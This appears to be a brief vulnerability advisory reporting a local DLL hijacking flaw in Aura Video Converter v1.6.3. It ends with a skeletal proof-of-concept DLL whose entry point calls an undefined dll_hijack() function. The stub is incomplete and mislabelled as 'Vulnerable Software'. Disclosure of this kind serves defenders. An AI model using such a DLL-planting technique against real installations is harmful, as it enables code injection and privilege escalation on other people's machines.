Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official Aura Video Converter v1.6.3 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process 
or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the
affected software to followup with manipulations. 

Vulnerable Software:

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}
